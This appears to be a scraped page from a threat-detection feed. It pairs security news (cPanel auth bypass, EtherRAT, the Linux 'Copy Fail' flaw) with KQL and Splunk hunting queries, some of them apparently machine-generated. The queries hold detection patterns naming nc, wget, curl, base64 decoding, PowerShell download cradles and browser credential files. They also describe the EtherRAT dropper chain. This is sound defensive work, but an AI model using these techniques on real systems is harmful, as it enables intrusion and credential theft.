Rationale: Built directly from cPanel's and watchTowr's published detection scripts which inspect /var/cpanel/sessions/raw/ for implanted root sessions, plus the article's note that cpsrvd is the vulnerable daemon. Cross-checked against watchTowr Labs and SOC Prime write-ups confirming the exact session-file path and IOC strings (user=root, hasroot=1, tfa_verified=1, token_denied, cp_security_token, multiple pass= lines). The cpsrvd-parent shell/recon spawn is the actions-on-objective half — neither artifact alone is decisive on a busy cPanel host, but the time-correlated pair is high fidelity.
Cross-checked against:
• https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
• https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass/
• https://socprime.com/blog/cve-2026-41940-critical-cpanel-whm-authentication-bypass-exposes-hosting-servers-to-admin-takeover/
• https://thehackernews.com/2026/04/critical-cpanel-authentication.html
• https://www.helpnetsecurity.com/2026/04/30/cpanel-zero-day-vulnerability-cve-2026-41940-exploited/
ATT&CKT1556T1190T1505.003T1078.003
Data sourcesEndpoint.FilesystemEndpoint.Processes
// Post-exploit: session file write to /var/cpanel/sessions/raw/ followed by cpsrvd spawning shell/recon/persistence tools (Defender for Endpoint on Linux)
let sessionWrites = DeviceFileEvents
| where Timestamp >= datetime(2026-02-23)
| where FolderPath startswith "/var/cpanel/sessions/raw/"
| where ActionType in ("FileCreated","FileModified")
| project FileTime=Timestamp, DeviceId, DeviceName, FilePath=strcat(FolderPath, FileName), InitiatingProcess=InitiatingProcessFileName;
let suspChildren = DeviceProcessEvents
| where Timestamp >= datetime(2026-02-23)
| where InitiatingProcessFileName == "cpsrvd"
| where FileName in~ ("sh","bash","dash","perl","python","python3","wget","curl","nc","ncat","useradd","adduser","chpasswd","id","whoami","uname","base64","openssl")
or ProcessCommandLine has_any ("/tmp/","/dev/shm/","base64 -d","chmod +x","wget ","curl -","useradd ","chpasswd")
| project ProcTime=Timestamp, DeviceId, DeviceName, ChildProcess=FileName, CmdLine=ProcessCommandLine, ProcUser=AccountName;
sessionWrites
| join kind=inner suspChildren on DeviceId
| where ProcTime between (FileTime - 1m .. FileTime + 15m)
| project FileTime, ProcTime, DeviceName, FilePath, InitiatingProcess, ChildProcess, CmdLine, ProcUser
| order by FileTime desc
| tstats `summariesonly` count min(_time) as fileFirst max(_time) as fileLast values(Filesystem.file_name) as file_names values(Filesystem.process_name) as fs_proc values(Filesystem.user) as fs_user from datamodel=Endpoint.Filesystem where Filesystem.file_path="/var/cpanel/sessions/raw/*" AND Filesystem.action IN ("created","modified","write","updated") by Filesystem.dest Filesystem.file_path | `drop_dm_object_name(Filesystem)` | join type=inner dest [ | tstats `summariesonly` count as childCount min(_time) as procFirst values(Processes.process) as cmds values(Processes.process_name) as child_names values(Processes.user) as proc_user from datamodel=Endpoint.Processes where Processes.parent_process_name="cpsrvd" AND (Processes.process_name IN ("sh","bash","dash","perl","python","python3","wget","curl","nc","ncat","useradd","adduser","chpasswd","id","whoami","uname") OR Processes.process IN ("*wget *","*curl *","*chmod +x*","*/tmp/*","*base64 -d*")) by Processes.dest | `drop_dm_object_name(Processes)` ] | eval delta_sec=procFirst-fileFirst | where delta_sec>=-60 AND delta_sec<=900 | `security_content_ctime(fileFirst)` | `security_content_ctime(procFirst)` | table fileFirst procFirst dest file_path file_names fs_proc fs_user child_names cmds proc_user count childCount delta_sec | sort -fileFirst
2026-04-3013 use cases9 techniques6 kill-chain phases detected
Intro A sophisticated, high-resilience malicious campaign was identified by Atos Threat Research Center (TRC) in March 2026. This operation specifically targets the high-privilege professional accounts of enterprise administrators, DevOps engineers, and security analysts by impersonating administrative utilities they rely on for daily operations. By integrating Search Engine Order (SEO)
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → PowerShell encoded / obfuscated command · Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — EtherRAT Distribution Spoofing Administrative Tools via GitHub Facades
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard · [LLM] EtherRAT MSI dropper: msiexec→cmd→curl staging Node.js to %LOCALAPPDATA% · [LLM] node.exe executing payload with non-.js extension (.bak/.cfg/.xml/.tmp/.dat) from %LOCALAPPDATA%
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] EtherRAT EtherHiding: non-browser process querying public Ethereum JSON-RPC endpoints
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Remote service execution — PsExec / SMB lateral movement
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("135.125.255.55") or RemoteUrl has_any ("")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("135.125.255.55")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — EtherRAT Distribution Spoofing Administrative Tools via GitHub FacadesExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1547.001
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — EtherRAT Distribution Spoofing Administrative Tools via GitHub Facades
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("node.js", "vw80iqxy.cmd", "conhost.exe"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("node.js", "vw80iqxy.cmd", "conhost.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — EtherRAT Distribution Spoofing Administrative Tools via GitHub Facades ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("node.js","vw80iqxy.cmd","conhost.exe"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("node.js","vw80iqxy.cmd","conhost.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] EtherRAT MSI dropper: msiexec→cmd→curl staging Node.js to %LOCALAPPDATA%InstallationHigh
Hunts the EtherRAT Stage-0 dropper chain where a malicious MSI's CustomAction launches an obfuscated .cmd that uses curl to fetch the Node.js runtime from nodejs.org and tar to extract it into a build-specific %LOCALAPPDATA% staging directory. Catches the campaign before Stage-1 JavaScript loader runs.
Rationale: Article explicitly states the Stage-0 .cmd is launched by MSI CustomAction, splits 'curl' and 'tar' across SET-concatenated variables, downloads Node.js from its official endpoint and extracts it into a per-install %LOCALAPPDATA% subdirectory. Combination of msiexec→cmd parent + curl-from-nodejs.org or tar-into-AppData child is highly specific to this campaign and rare in benign software installs.
Cross-checked against:
• https://atos.net/en/lp/cybershield/etherrat-distribution-spoofing-administrative-tools-via-github-facades
• https://www.infosecurity-magazine.com/news/etherrat-bypass-security-ethereum/
• https://cybersecuritynews.com/new-etherrat-variant-uses-trojanized-tftpd64-installer/
ATT&CKT1218.007T1059.003T1105T1027
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where FileName in~ ("curl.exe","tar.exe")
| where ProcessCommandLine has_any ("nodejs.org","node-v",@"\AppData\Local\")
| join kind=inner (
DeviceProcessEvents
| where FileName =~ "cmd.exe" and InitiatingProcessFileName =~ "msiexec.exe"
| project cmdPGUID = ProcessId, cmdDevice = DeviceId, cmdTime = Timestamp, MsiCmdLine = ProcessCommandLine
) on $left.InitiatingProcessId == $right.cmdPGUID, $left.DeviceId == $right.cmdDevice
| where Timestamp between (cmdTime .. (cmdTime + 5m))
| project Timestamp, DeviceName, AccountName, MsiCmdLine, ProcessCommandLine, FileName, FolderPath, InitiatingProcessCommandLine
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=curl.exe OR Processes.process_name=tar.exe) AND Processes.process IN ("*nodejs.org*","*node-v*win-x64*","*\\AppData\\Local\\*") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_guid | `drop_dm_object_name(Processes)` | join type=left parent_process_guid [| tstats summariesonly=true count from datamodel=Endpoint.Processes where Processes.process_name=cmd.exe AND Processes.parent_process_name=msiexec.exe by Processes.process_guid Processes.parent_process_name | `drop_dm_object_name(Processes)` | rename process_guid as parent_process_guid] | where isnotnull(parent_process_name) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] node.exe executing payload with non-.js extension (.bak/.cfg/.xml/.tmp/.dat) from %LOCALAPPDATA%InstallationHigh
Detects EtherRAT Stage-1 in-memory loader: bundled node.exe staged under %LOCALAPPDATA% executing a payload file with masqueraded extensions (.bak, .cfg, .xml, .tmp, .dat, .bin, .log) instead of .js. The article confirms each sample randomises both the file name and extension but always invokes the bundled node.exe against the first-stage file.
Rationale: Article's Stage-1 table enumerates the exact extension set used across four samples (.bak, .cfg, .xml, .tmp, .bin, .dat, .log) and notes node.exe is invoked directly against this file rather than a normal .js. Legitimate Node usage almost always targets .js or package.json, so node.exe under user AppData consuming these extensions is a strong campaign-specific signal.
Cross-checked against:
• https://atos.net/en/lp/cybershield/etherrat-distribution-spoofing-administrative-tools-via-github-facades
• https://cybersecuritynews.com/new-etherrat-variant-uses-trojanized-tftpd64-installer/
ATT&CKT1059.007T1036.008T1140
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where FileName =~ "node.exe"
| where FolderPath has @"\AppData\Local\"
| where ProcessCommandLine matches regex @"(?i)\.(bak|cfg|xml|tmp|dat|bin|log)(\s|""|$)"
| where ProcessCommandLine !has "package.json" and ProcessCommandLine !has ".js "
| extend ParentChain = strcat(InitiatingProcessParentFileName, " -> ", InitiatingProcessFileName, " -> ", FileName)
| project Timestamp, DeviceName, AccountName, ParentChain, ProcessCommandLine, FolderPath, InitiatingProcessCommandLine, InitiatingProcessFolderPath
| where InitiatingProcessFolderPath has @"\AppData\Local\" or InitiatingProcessFileName in~ ("cmd.exe","msiexec.exe")
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where Processes.process_name=node.exe AND Processes.process_path="*\\AppData\\Local\\*" AND (Processes.process="*.bak*" OR Processes.process="*.cfg*" OR Processes.process="*.xml*" OR Processes.process="*.tmp*" OR Processes.process="*.dat*" OR Processes.process="*.bin*" OR Processes.process="*.log*") AND NOT Processes.process="*\\package.json*" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_path | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] EtherRAT EtherHiding: non-browser process querying public Ethereum JSON-RPC endpointsCommand & ControlMedium
Hunts the blockchain Dead-Drop Resolver behaviour where EtherRAT calls a public Ethereum RPC gateway to read a hardcoded smart contract that returns the live C2 URL. Filters out browsers and known wallet apps so unusual processes (node.exe under AppData, msiexec children) querying eth_call style endpoints surface, plus pivots on the article's reported C2 IP 135.125.255.55.
Rationale: Article describes the malware repeatedly querying a public Ethereum RPC endpoint to resolve a smart-contract-stored C2 URL ('EtherHiding'). Pre-extracted IOC 135.125.255.55 is added as a high-confidence pivot. Excluding browsers and wallet apps from the well-known public RPC host list isolates dead-drop resolver beacons; pairing with node.exe-under-AppData process context (from UC2) lifts confidence further.
Cross-checked against:
• https://atos.net/en/lp/cybershield/etherrat-distribution-spoofing-administrative-tools-via-github-facades
• https://www.infosecurity-magazine.com/news/etherrat-bypass-security-ethereum/
• https://cybersecuritynews.com/new-etherrat-variant-uses-trojanized-tftpd64-installer/
ATT&CKT1568.003T1102.001T1071.001
Data sourcesNetwork_Resolution.DNSNetwork_Traffic.All_TrafficEndpoint.Processes
let EthRpcHosts = dynamic(["mainnet.infura.io","cloudflare-eth.com","eth-mainnet.g.alchemy.com","rpc.ankr.com","ethereum.publicnode.com","eth.llamarpc.com","eth.merkle.io","rpc.flashbots.net","ethereum-rpc.publicnode.com"]);
let Browserish = dynamic(["chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe","iexplore.exe","safari.exe"]);
DeviceNetworkEvents
| where (RemoteUrl has_any (EthRpcHosts) or RemoteIP == "135.125.255.55")
| where InitiatingProcessFileName !in~ (Browserish)
| where InitiatingProcessFileName !in~ ("metamask.exe","ledger live.exe","exodus.exe")
| extend Suspicious = iff(InitiatingProcessFolderPath has @"\AppData\Local\" or InitiatingProcessFileName =~ "node.exe" or InitiatingProcessParentFileName =~ "msiexec.exe", "high", "review")
| project Timestamp, DeviceName, AccountName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, InitiatingProcessParentFileName, Suspicious
| sort by Suspicious asc, Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(DNS.src) as src from datamodel=Network_Resolution where DNS.query IN ("*.infura.io","cloudflare-eth.com","*.alchemy.com","*.ankr.com","ethereum.publicnode.com","*.publicnode.com","eth.llamarpc.com","*.llamarpc.com","*.quicknode.com","*.blockpi.network","rpc.flashbots.net") by DNS.src DNS.query | `drop_dm_object_name(DNS)` | join type=outer src [| tstats summariesonly=true count from datamodel=Endpoint.Processes where Processes.process_name=node.exe AND Processes.process_path="*\\AppData\\Local\\*" by Processes.dest Processes.process Processes.process_path | `drop_dm_object_name(Processes)` | rename dest as src] | append [| tstats summariesonly=true count from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest="135.125.255.55" by All_Traffic.src All_Traffic.dest All_Traffic.dest_port All_Traffic.app | `drop_dm_object_name(All_Traffic)`]
2026-04-300 use cases1 technique1 kill-chain phase detected
A joint international operation involving U.S. and Chinese authorities arrested at least 276 suspects and shut down nine cryptocurrency investment fraud centers. [...]
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
—
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
—
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
2026-04-307 use cases3 techniques6 kill-chain phases detected
Cybersecurity researchers have disclosed details of a Linux local privilege escalation (LPE) flaw that could allow an unprivileged local user to obtain root. The high-severity vulnerability tracked as CVE-2026-31431 (CVSS score: 7.8) has been codenamed Copy Fail by Xint.io and Theori. "An unprivileged local user can write four controlled bytes into the page cache of any readable file on a Linux
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — New Linux 'Copy Fail' Vulnerability Enables Root Access on Major DistributionsInstallationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — New Linux 'Copy Fail' Vulnerability Enables Root Access on Major Distributions
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("/usr/bin/su"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — New Linux 'Copy Fail' Vulnerability Enables Root Access on Major Distributions ```
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*/usr/bin/su*")
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
Hunts for the unique algif_aead cipher template string referenced by every public Copy Fail PoC (Theori/Xint, NorskHelsenett, kadir/copy-fail-IOC). The string 'authencesn(hmac(sha256),cbc(aes))' must be passed in sockaddr_alg.salg_name to trigger the in-place optimisation bug — it is essentially never used by legitimate userspace and appearing in a script, command line, or file dropped to disk on a Linux endpoint is a high-fidelity exploit indicator.
Rationale: The cipher template 'authencesn(hmac(sha256),cbc(aes))' is the exact AEAD name the article says must be bound on the AF_ALG socket; it is reproduced verbatim in every public PoC and detection toolkit (Theori, NorskHelsenett, kadir/copy-fail-IOC). Cross-checked with Help Net Security, Bugcrowd's Brumley write-up, and Sysdig's analysis.
Cross-checked against:
• https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/
• https://xint.io/blog/copy-fail-linux-distributions
• https://www.helpnetsecurity.com/2026/04/30/copyfail-linux-lpe-vulnerability-cve-2026-31431/
• https://www.openwall.com/lists/oss-security/2026/04/29/23
• https://github.com/kadir/copy-fail-CVE-2026-31431-IOC
